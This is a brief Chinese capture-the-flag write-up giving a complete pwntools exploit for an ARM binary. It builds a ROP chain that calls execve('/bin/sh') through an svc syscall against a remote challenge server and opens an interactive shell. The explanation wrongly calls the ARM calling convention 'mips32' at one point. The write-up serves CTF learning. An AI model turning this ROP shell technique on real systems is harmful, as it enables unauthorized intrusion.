查看保护
查看ida
完整exp:
from pwn import*
p=process('./arm')
p=remote('gz.imxbt.cn',20082)
svc=0x0001c58c
mov_r2_r4_blx_r3=0x00043224
pop_r7=0x00027d78
pop_r4=0x000104e0
pop_r3=0x00010160
pop_r1=0x0005f824
pop_r0=0x0005f73c
sh=0x0008A090
payload=b'a'*0x44
payload+=p32(pop_r0)+p32(sh)
payload+=p32(pop_r1)+p32(0)
payload+=p32(pop_r3)+p32(svc)
payload+=p32(pop_r4)+p32(0)
payload+=p32(pop_r7)+p32(0xB)
payload+=p32(mov_r2_r4_blx_r3)
p.send(payload)
p.interactive()
因为是arm架构,所以我们要覆盖LR寄存器控制返回地址,对于mips32架构,R0~R3寄存器负责传参,R7寄存器传递系统调用号。这里覆盖R3为SVC是因为后面有跳转R3的指令,覆盖R4是为了后面把R2寄存器覆盖为0。